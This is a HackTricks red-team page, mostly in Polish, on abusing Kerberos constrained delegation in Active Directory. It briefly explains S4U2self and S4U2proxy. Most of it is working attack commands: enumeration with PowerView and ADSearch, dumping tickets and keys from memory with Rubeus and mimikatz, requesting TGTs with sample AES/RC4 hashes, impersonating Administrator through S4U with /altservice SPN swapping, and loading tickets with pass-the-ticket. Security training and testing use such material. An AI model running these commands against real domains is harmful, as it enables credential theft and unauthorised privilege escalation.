Constrained Delegation

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ograniczona delegacja

Dzięki temu administrator domeny może zezwolić komputerowi na udawanie użytkownika lub komputera wobec usługi na danym urządzeniu.

  • Usługa dla użytkownika do samego siebie (S4U2self): Jeśli konto usługi ma wartość userAccountControl zawierającą TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), może ono uzyskać TGS dla samego siebie (usługi) w imieniu dowolnego innego użytkownika.

  • Usługa dla użytkownika do pełnomocnika(S4U2proxy): Konto usługi może uzyskać TGS w imieniu dowolnego użytkownika dla usługi ustawionej w msDS-AllowedToDelegateTo. Aby to zrobić, najpierw musi uzyskać TGS od tego użytkownika dla samego siebie, ale może użyć S4U2self, aby uzyskać ten TGS przed żądaniem drugiego.

Uwaga: Jeśli użytkownik jest oznaczony jako „Konto jest poufne i nie można go delegować” w AD, nie będziesz mógł go udawać.

Oznacza to, że jeśli zdobędziesz skrót hasła usługi, możesz udawać użytkowników i uzyskać dostęp w ich imieniu do skonfigurowanej usługi (możliwe privesc).

Co więcej, nie będziesz mieć dostępu tylko do usługi, którą użytkownik może udawać, ale także do dowolnej innej usługi, ponieważ nie jest sprawdzana nazwa SPN (żądana nazwa usługi), tylko uprawnienia. Dlatego, jeśli masz dostęp do usługi CIFS, możesz również uzyskać dostęp do usługi HOST, używając flagi /altservice w Rubeus.

Ponadto, dostęp do usługi LDAP na DC jest potrzebny do wykorzystania DCSync.

Wylicz
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
Pobierz TGT
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi

Istnieją inne sposoby na uzyskanie biletu TGT lub RC4 lub AES256 bez bycia SYSTEM w komputerze, takie jak błąd drukarki i nielimitowane przekazywanie, przekazywanie NTLM i nadużycie usługi certyfikatów Active Directory.

Posiadając ten bilet TGT (lub zahaszowany), możesz przeprowadzić ten atak bez kompromitowania całego komputera.

Używając Rubeus
#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
kekeo + Mimikatz
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

Więcej informacji na stronie ired.team.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated